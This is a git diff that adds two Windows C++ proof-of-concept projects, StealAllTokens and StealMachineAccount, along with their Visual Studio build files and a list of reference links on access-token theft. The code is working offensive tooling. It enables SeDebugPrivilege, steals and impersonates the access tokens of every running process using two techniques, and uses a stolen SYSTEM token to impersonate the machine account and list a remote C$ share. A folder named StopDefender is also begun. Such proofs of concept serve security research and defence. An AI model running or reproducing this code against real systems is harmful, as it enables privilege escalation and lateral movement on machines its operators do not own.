https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b +* https://github.com/lab52io/StopDefender +* https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf +* http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtImpersonateThread.html +* https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html diff --git a/Win32/Proof of Concepts/StealAllTokens/StealAllTokens.sln b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens.sln new file mode 100644 index 00000000..a1e106b2 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens.sln @@ -0,0 +1,41 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30717.126 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StealAllTokens", "StealAllTokens\StealAllTokens.vcxproj", "{BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StealMachineAccount", "StealMachineAccount\StealMachineAccount.vcxproj", "{20A29CEF-6648-44AC-8B28-B3C362926D3B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Debug|x64.ActiveCfg = Debug|x64 + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Debug|x64.Build.0 = Debug|x64 + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Debug|x86.ActiveCfg = Debug|Win32 + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Debug|x86.Build.0 = Debug|Win32 + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Release|x64.ActiveCfg = Release|x64 + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Release|x64.Build.0 = Release|x64 + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Release|x86.ActiveCfg = Release|Win32 + {BB0B2B1E-70D4-4412-8AEC-D1D5DF0594FA}.Release|x86.Build.0 = Release|Win32 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Debug|x64.ActiveCfg = Debug|x64 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Debug|x64.Build.0 = Debug|x64 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Debug|x86.ActiveCfg = Debug|Win32 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Debug|x86.Build.0 = Debug|Win32 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Release|x64.ActiveCfg = Release|x64 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Release|x64.Build.0 = Release|x64 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Release|x86.ActiveCfg = Release|Win32 + {20A29CEF-6648-44AC-8B28-B3C362926D3B}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {CD0BF4B4-CBDF-4265-8CD0-75DC4A850570} + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.cpp b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.cpp new file mode 100644 index 00000000..3b0df0f7 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.cpp @@ -0,0 +1,454 @@ + +/******************************************************************** +* StealAllTokens: This PoC uses two diferent technics for stealing +* the primary token from all running processes, showing that is possible +* to impersonate and use whatever token present at any process. +* +* NOTE: We consider that source process has local Admnin privs and +* has High integrity (no SYSTEM account needed) +*********************************************************************/ +#include +#include +#include +#include +#include +#include + +#define MAX_NAME 256 + +BOOL SetPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid)) // receives LUID of privilege + { + printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + sizeof(TOKEN_PRIVILEGES), + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + + { + printf("[-] The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + +std::string get_username() +{ + TCHAR username[UNLEN + 1] = {0}; + DWORD username_len = UNLEN + 1; + int res = GetUserName(username, &username_len); + std::wstring username_w(username); + std::string username_s(username_w.begin(), username_w.end()); + return username_s; +} + + +HANDLE ListProcessThreads(DWORD dwOwnerPID) +{ + HANDLE hThreadSnap = INVALID_HANDLE_VALUE; + THREADENTRY32 te32; + + // Take a snapshot of all running threads + hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hThreadSnap == INVALID_HANDLE_VALUE) + return(FALSE); + + // Fill in the size of the structure before using it. + te32.dwSize = sizeof(THREADENTRY32); + + // Retrieve information about the first thread, + // and exit if unsuccessful + if (!Thread32First(hThreadSnap, &te32)) + { + printf("[-] Error Thread32First\n"); // Show cause of failure + CloseHandle(hThreadSnap); // Must clean up the snapshot object! + return(NULL); + } + // Trying to open a thread + do + { + if (te32.th32OwnerProcessID == dwOwnerPID) + { + HANDLE thandle = OpenThread(THREAD_DIRECT_IMPERSONATION, + TRUE, + te32.th32ThreadID + ); + + CloseHandle(hThreadSnap); + + if (thandle == NULL) { + printf("[-] OpenThread failed\n"); + return (NULL); + } + else { + printf("[+] OpenThread 0x%08X success!\n", te32.th32ThreadID); + return (thandle); + } + } + } while (Thread32Next(hThreadSnap, &te32)); + + printf("[-] Process not found\n"); + return (NULL); +} + +BOOL GetTokenServiceName(HANDLE hToken, LPSTR lpName, LPSTR lpDomain) { + DWORD i, dwSize = 0, dwResult = 0; + PTOKEN_GROUPS pGroupInfo; + SID_NAME_USE SidType; + + // Call GetTokenInformation to get the buffer size. + + if (!GetTokenInformation(hToken, TokenGroups, NULL, dwSize, &dwSize)) + { + dwResult = GetLastError(); + if (dwResult != ERROR_INSUFFICIENT_BUFFER) { + printf("[-] GetTokenInformation Error %u\n", dwResult); + return FALSE; + } + } + + // Allocate the buffer. + + pGroupInfo = (PTOKEN_GROUPS)GlobalAlloc(GPTR, dwSize); + + // Call GetTokenInformation again to get the group information. + if (!GetTokenInformation(hToken, TokenGroups, pGroupInfo, + dwSize, &dwSize)) + { + printf("[-] GetTokenInformation Error %u\n", GetLastError()); + return FALSE; + } + + // Loop through the group SIDs looking for the administrator SID. + + for (i = 0; i < pGroupInfo->GroupCount; i++) + { + + // Lookup the account name and print it. + + dwSize = MAX_NAME; + if (!LookupAccountSidA(NULL, pGroupInfo->Groups[i].Sid, + lpName, &dwSize, lpDomain, + &dwSize, &SidType)) + { + dwResult = GetLastError(); + if (dwResult == ERROR_NONE_MAPPED) + strcpy_s(lpName, dwSize, "NONE_MAPPED"); + else + { + printf("[-] LookupAccountSid Error %u\n", GetLastError()); + return FALSE; + } + } + + // This Token has as service group + if (strcmp(lpDomain, "NT SERVICE") == 0) + return true; + } + + if (pGroupInfo) + GlobalFree(pGroupInfo); + + return FALSE; +} + +/******************************************************************** +* Technique1: Good technique for PPL processes with relaxed token DACLS +* Uses-> +* OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) +* OpenProcessToken(TOKEN_DUPLICATE | TOKEN_QUERY) +* ImpersonateLoggedOnUser() +* +*********************************************************************/ + +bool Technique1(int pid) { + // Initialize variables and structures + HANDLE tokenHandle = NULL; + DWORD bsize = 1024; + CHAR buffer[1024] = {0}; + HANDLE currentTokenHandle = NULL; + char lpServiceName[MAX_NAME] = { 0 }; + char lpServiceDomain[MAX_NAME] = { 0 }; + /* + // Add SE debug privilege + BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); + if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) + { + printf("[+] SeDebugPrivilege enabled!\n"); + } + else { + printf("[-] SeDebugPrivilege not enabled!\n"); + exit(1); + } + */ + // Call OpenProcess() to open, print return code and error code + SetLastError(NULL); + HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, pid); + + if (GetLastError() == NULL) { + + //Get process image name + QueryFullProcessImageNameA((HMODULE)processHandle, 0, buffer, &bsize); + + if (GetLastError() != NULL) + { + printf("[-] Technique1 QueryFullProcessImageNameA Pid %i Error: %i\n", pid, GetLastError()); + SetLastError(NULL); + } + printf("[+] Technique1 OpenProcess() %s success!\n", buffer); + } + else + { + printf("[-] Technique1 OpenProcess() Pid %i Error: %i\n", pid, GetLastError()); + return false; + } + + // Call OpenProcessToken(), print return code and error code + bool getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_QUERY, &tokenHandle); + if (getToken != 0) + printf("[+] Technique1 OpenProcessToken() %s success!\n", buffer); + else + { + printf("[-] Technique1 OpenProcessToken() %s Return Code: %i\n", buffer, getToken); + printf("[-] Technique1 OpenProcessToken() %s Error: %i\n", buffer, GetLastError()); + CloseHandle(processHandle); + return false; + } + + // Impersonate user in a thread + bool impersonateUser = ImpersonateLoggedOnUser(tokenHandle); + if (GetLastError() == NULL) + { + printf("[+] Technique1 ImpersonatedLoggedOnUser() success!\n"); + printf("[+] Current user is: %s\n", (get_username()).c_str()); + + //Case SvcHost getting Service name + if (GetTokenServiceName(tokenHandle, lpServiceName, lpServiceDomain)) { + printf("Technique1|%s|%s|%s\n", buffer, (get_username()).c_str(), lpServiceName); + } + else { + printf("Technique1|%s|%s|\n", buffer, (get_username()).c_str()); + } + + } + else + { + printf("[-] Technique1 ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); + printf("[-] Technique1 ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); + CloseHandle(processHandle); + CloseHandle(tokenHandle); + return false; + } + + CloseHandle(processHandle); + CloseHandle(tokenHandle); + return true; +} + +/******************************************************************** +* Technique2: Good technique for those processes with a very restrictive +* open Token DACLs (Most of the Svchost processes) +* Uses-> +* OpenProcess(PROCESS_QUERY_INFORMATION) +* ListProcessThreads() +* NtImpersonateThread() +* +*********************************************************************/ +bool Technique2(int pid) { + SECURITY_QUALITY_OF_SERVICE sqos = {}; + sqos.Length = sizeof(sqos); + sqos.ImpersonationLevel = SecurityImpersonation; + //sqos.ImpersonationLevel = SecurityIdentification; + DWORD bsize = 1024; + CHAR buffer[1024]; + HANDLE currentTokenHandle = NULL; + char lpServiceName[MAX_NAME] = { 0 }; + char lpServiceDomain[MAX_NAME] = { 0 }; + HANDLE TokenHandle = NULL;; + + // Add SE debug privilege + BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); + if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) + { + printf("[+] SeDebugPrivilege enabled!\n"); + } + else { + printf("[-] SeDebugPrivilege not enabled!\n"); + exit(1); + } + + // Call OpenProcess(), print return code and error code + HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, pid); + + if (GetLastError() == NULL) { + + //Get process image name + QueryFullProcessImageNameA((HMODULE)processHandle, 0, buffer, &bsize); + + if (GetLastError() != NULL) + { + printf("[-] Technique2 QueryFullProcessImageNameA Pid %i Error: %i\n", pid, GetLastError()); + return false; + } + printf("[+] Technique2 OpenProcess() %s success with pid %i !\n", buffer, pid); + + } + else + { + printf("[-] Technique2 OpenProcess() Pid %i Error: %i\n", pid, GetLastError()); + return false; + } + + //Get handle from first process thread + HANDLE hThreadToImpersonate = ListProcessThreads(pid); + if (hThreadToImpersonate == NULL) + { + printf("[-] Technique2 Error getting pthread\n"); + return false; + } + + + //Calling NativeAPI NtImpersonateThread + typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle, + HANDLE ThreadToImpersonate, + PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService); + + NtImpersonateThread* fNtImpersonateThread = + (NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"), + "NtImpersonateThread"); + + // Impersonate user in a thread + BOOL impersonateUser = fNtImpersonateThread(GetCurrentThread(), hThreadToImpersonate, &sqos); + if (GetLastError() == NULL) + { + printf("[+] Technique2 fNtImpersonateThread() %s success!\n", buffer); + printf("[+] Technique2 Current user is: %s\n", (get_username()).c_str()); + + + if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &TokenHandle)) { + printf("[-] OpenThreadToken() Error: %i\n", GetLastError()); + printf("Technique2|%s|%s|\n", buffer, (get_username()).c_str()); + } + else { + //Case SvcHost getting Service name + printf("[+] OpenThreadToken() Success!\n"); + if (GetTokenServiceName(TokenHandle, lpServiceName, lpServiceDomain)) { + printf("Technique2|%s|%s|%s\n", buffer, (get_username()).c_str(), lpServiceName); + } + else { + printf("Technique2|%s|%s|\n", buffer, (get_username()).c_str()); + } + CloseHandle(TokenHandle); + } + } + else + { + printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); + } + + // Closing not necessary handles + CloseHandle(hThreadToImpersonate); + CloseHandle(processHandle); + return true; + +} + +int main(int argc, char** argv) { + DWORD aProcesses[1024], cbNeeded, cProcesses; + int HardenedProcessesCount = 0; + int HardenedProcesses[100] = { 0 }; + int TotalTechnique1 = 0; + int TotalTechnique2 = 0; + + printf("[+] Current user is: %s\n", (get_username()).c_str()); + + //Get pid list + if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) + { + printf("[-] Can't enumerate processes"); + exit(1); + } + + // Calculate how many process identifiers were returned. + cProcesses = cbNeeded / sizeof(DWORD); + + // Get process list and try to steal all tokens + for (int i = 0; i < cProcesses; i++) + { + + if (aProcesses[i] != 0 && aProcesses[i] !=4) + { + if (Technique1(aProcesses[i])) { + RevertToSelf(); + printf("[+] Reverting thread Current user is: %s\n", (get_username()).c_str()); + TotalTechnique1++; + } + else { + printf("[-] Technique 1 failed\n\n"); + printf("[+] Trying Technique 2\n"); + if (Technique2(aProcesses[i])) { + RevertToSelf(); + printf("[+] Reverting thread Current user is: %s\n", (get_username()).c_str()); + TotalTechnique2++; + } + else { + printf("[-] Can't steal token from process pid %i\n", aProcesses[i]); + HardenedProcesses[HardenedProcessesCount] = aProcesses[i]; + HardenedProcessesCount++; + //exit(1); + } + + }; + printf("\n"); + } + Sleep(100); + } + + + + //Listing processes that we couldn't open it + for (int j = 0; j < HardenedProcessesCount; j++) { + printf("[+] PIDs Hardened: %i\n", HardenedProcesses[j]); + } + + printf("\n[+] Total processes: %i\n", cProcesses); + printf("[+] Total stolen tokens with Technique1: %i\n", TotalTechnique1); + printf("[+] Total stolen tokens with Technique2: %i\n", TotalTechnique2); + printf("[+] Total PIDs hardened: %i\n", HardenedProcessesCount); + printf("[+] Total PIDs stolen: %i\n", cProcesses - HardenedProcessesCount); + + return 0; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.vcxproj b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.vcxproj new file mode 100644 index 00000000..22d3f2c5 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {bb0b2b1e-70d4-4412-8aec-d1d5df0594fa} + StealAllTokens + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.vcxproj.filters b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.vcxproj.filters new file mode 100644 index 00000000..bb5abc92 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/StealAllTokens/StealAllTokens.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Archivos de origen + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.cpp b/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.cpp new file mode 100644 index 00000000..efae6d73 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.cpp @@ -0,0 +1,289 @@ +/******************************************************************** +* StealMachineAccount: This PoC takes profit of a privileged +* machine domain account (like for example a local admin or domain admin) +* on a Windows domain, stealing a System token and impersonating +* machine acount for remote auhtentication and listing C$. +* The point here is to impersonate a lower privilege service like RPCSS +* running with NETWORK SERVICE account. +* +* NOTE: We consider that source process has local Admnin privs and +* has High integrity (no SYSTEM account needed) +*********************************************************************/ +#include +#define MAX_NAME 256 +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +std::string get_username() +{ + TCHAR username[UNLEN + 1] = { 0 }; + DWORD username_len = UNLEN + 1; + int res = GetUserName(username, &username_len); + std::wstring username_w(username); + std::string username_s(username_w.begin(), username_w.end()); + return username_s; +} + +BOOL SetPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid)) // receives LUID of privilege + { + printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + sizeof(TOKEN_PRIVILEGES), + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + + { + printf("[-] The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + +HANDLE ListProcessThreads(DWORD dwOwnerPID) +{ + HANDLE hThreadSnap = INVALID_HANDLE_VALUE; + THREADENTRY32 te32; + + // Take a snapshot of all running threads + hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hThreadSnap == INVALID_HANDLE_VALUE) + return(FALSE); + + // Fill in the size of the structure before using it. + te32.dwSize = sizeof(THREADENTRY32); + + // Retrieve information about the first thread, + // and exit if unsuccessful + if (!Thread32First(hThreadSnap, &te32)) + { + printf("[-] Error Thread32First\n"); // Show cause of failure + CloseHandle(hThreadSnap); // Must clean up the snapshot object! + return(NULL); + } + + // Now walk the thread list of the system, + // and display information about each thread + // associated with the specified process + do + { + if (te32.th32OwnerProcessID == dwOwnerPID) + { + //printf("\n THREAD ID = 0x%08X", te32.th32ThreadID); + //printf("\n base priority = %d", te32.tpBasePri); + //printf("\n delta priority = %d", te32.tpDeltaPri); + HANDLE thandle = OpenThread(THREAD_DIRECT_IMPERSONATION, + TRUE, + te32.th32ThreadID + ); + + CloseHandle(hThreadSnap); + + if (thandle == NULL) { + printf("[-] OpenThread failed\n"); + return (NULL); + } + else { + printf("[+] OpenThread 0x%08X success!\n", te32.th32ThreadID); + return (thandle); + } + } + } while (Thread32Next(hThreadSnap, &te32)); + + printf("[-] Process not found\n"); + return (NULL); +} + +bool listdirectories(WCHAR *directory) +{ + WIN32_FIND_DATA ffd; + LARGE_INTEGER filesize; + TCHAR szDir[MAX_PATH]; + size_t length_of_arg; + HANDLE hFind = INVALID_HANDLE_VALUE; + DWORD dwError = 0; + + + StringCchLength(directory, MAX_PATH, &length_of_arg); + + printf("\nTarget directory is %s\n\n", directory); + + // Prepare string for use with FindFile functions. First, copy the + // string to a buffer, then append '\*' to the directory name. + StringCchCopy(szDir, MAX_PATH, directory); + StringCchCat(szDir, MAX_PATH, TEXT("\\*")); + + // Find the first file in the directory. + hFind = FindFirstFile(szDir, &ffd); + + if (INVALID_HANDLE_VALUE == hFind) + { + printf("[-] FindFirstFile INVALID_HANDLE_VALUE! %i\n", GetLastError()); + return false; + } + + // List all the files in the directory with some info about them. + do + { + if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + wprintf(L" %ws \n", ffd.cFileName); + } + else + { + filesize.LowPart = ffd.nFileSizeLow; + filesize.HighPart = ffd.nFileSizeHigh; + wprintf(L" %ws %ld bytes\n", ffd.cFileName, filesize.QuadPart); + } + } while (FindNextFile(hFind, &ffd) != 0); + + dwError = GetLastError(); + if (dwError != ERROR_NO_MORE_FILES) + { + printf("[-] FindFirstFile ERROR_NO_MORE_FILES! %i\n", dwError); + return false; + } + + FindClose(hFind); + return true; +} + +int wmain(int argc, wchar_t** argv) +{ + SECURITY_QUALITY_OF_SERVICE sqos = {}; + sqos.Length = sizeof(sqos); + sqos.ImpersonationLevel = SecurityImpersonation; + //sqos.ImpersonationLevel = SecurityIdentification; + DWORD bsize = 1024; + CHAR buffer[1024]; + HANDLE currentTokenHandle = NULL; + + if (argc != 3) { + wprintf(L"usage: %ws \n", argv[0]); + wprintf(L" Ex. StealMachineAccount 1020 \\WIN-VXQKGX098Q0\C$\n"); + + } + // Grab PID from command line argument + DWORD pid = _wtoi(argv[1]); + + // Add SE debug privilege + BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); + if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) + { + printf("[+] SeDebugPrivilege enabled!\n"); + } + else { + printf("[-] SeDebugPrivilege not enabled!\n"); + exit(1); + } + + + + // Call OpenProcess(), print return code and error code + HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, pid); + + if (GetLastError() == NULL) { + + //Get process image name + QueryFullProcessImageNameA((HMODULE)processHandle, 0, buffer, &bsize); + + if (GetLastError() != NULL) + { + printf("[-] Technique2 QueryFullProcessImageNameA Pid %i Error: %i\n", pid, GetLastError()); + return false; + } + printf("[+] Technique2 OpenProcess() %s success with pid %i !\n", buffer, pid); + + } + else + { + printf("[-] Technique2 OpenProcess() Pid %i Error: %i\n", pid, GetLastError()); + return false; + } + + //Get handle from first process thread + HANDLE hThreadToImpersonate = ListProcessThreads(pid); + if (hThreadToImpersonate == NULL) + { + printf("[-] Technique2 Error getting pthread\n"); + return false; + } + + + //Calling NativeAPI NtImpersonateThread + typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle, + HANDLE ThreadToImpersonate, + PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService); + + NtImpersonateThread* fNtImpersonateThread = + (NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"), + "NtImpersonateThread"); + + // Impersonate user in a thread + BOOL impersonateUser = fNtImpersonateThread(GetCurrentThread(), hThreadToImpersonate, &sqos); + if (GetLastError() == NULL) + { + printf("[+] Technique2 fNtImpersonateThread() %s success!\n", buffer); + printf("[+] Technique2 Current user is: %s\n", (get_username()).c_str()); + + //wchar_t server[] = L"WIN-VXQKGX098Q0.prueba.com"; + + if (listdirectories(argv[2])) + printf("[+] Shares listed!\n"); + else + printf("[-] listdirectories error!\n"); + + } + else + { + printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); + } + + + getchar(); + // Closing not necessary handles + CloseHandle(hThreadToImpersonate); + CloseHandle(processHandle); + return true; +} diff --git a/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.filters b/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.filters new file mode 100644 index 00000000..7f9e6d34 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Archivos de origen + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.vcxproj b/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.vcxproj new file mode 100644 index 00000000..52ca159b --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/StealMachineAccount/StealMachineAccount.vcxproj @@ -0,0 +1,148 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {20a29cef-6648-44ac-8b28-b3c362926d3b} + StealMachineAccount + 10.0 + StealMachineAccount + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/StopDefender/.gitattributes b/Win32/Proof of Concepts/StopDefender/.gitattributes new file mode 100644 index 00000000..1ff0c423 --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/.gitattributes @@ -0,0 +1,63 @@ +############################################################################### +# Set default behavior to automatically normalize line endings. +############################################################################### +* text=auto + +############################################################################### +# Set default behavior for command prompt diff. +# +# This is need for earlier builds of msysgit that does not have it on by +# default for csharp files. +# Note: This is only used by command line +############################################################################### +#*.cs diff=csharp + +############################################################################### +# Set the merge driver for project and solution files +# +# Merging from the command prompt will add diff markers to the files if there +# are conflicts (Merging from VS is not affected by the settings below, in VS +# the diff markers are never inserted). Diff markers may cause the following +# file extensions to fail to load in VS. An alternative would be to treat +# these files as binary and thus will always conflict and require user +# intervention with every merge. To do so, just uncomment the entries below +############################################################################### +#*.sln merge=binary +#*.csproj merge=binary +#*.vbproj merge=binary +#*.vcxproj merge=binary +#*.vcproj merge=binary +#*.dbproj merge=binary +#*.fsproj merge=binary +#*.lsproj merge=binary +#*.wixproj merge=binary +#*.modelproj merge=binary +#*.sqlproj merge=binary +#*.wwaproj merge=binary + +############################################################################### +# behavior for image files +# +# image files are treated as binary by default. +############################################################################### +#*.jpg binary +#*.png binary +#*.gif binary + +############################################################################### +# diff behavior for common document formats +# +# Convert binary document formats to text before diffing them. This feature +# is only available from the command line. Turn it on by uncommenting the +# entries below. +############################################################################### +#*.doc diff=astextplain +#*.DOC diff=astextplain +#*.docx diff=astextplain +#*.DOCX diff=astextplain +#*.dot diff=astextplain +#*.DOT diff=astextplain +#*.pdf diff=astextplain +#*.PDF diff=astextplain +#*.rtf diff=astextplain +#*.RTF diff=astextplain diff --git a/Win32/Proof of Concepts/StopDefender/.gitignore b/Win32/Proof of Concepts/StopDefender/.gitignore new file mode 100644 index 00000000..1c9a181a --- /dev/null +++ 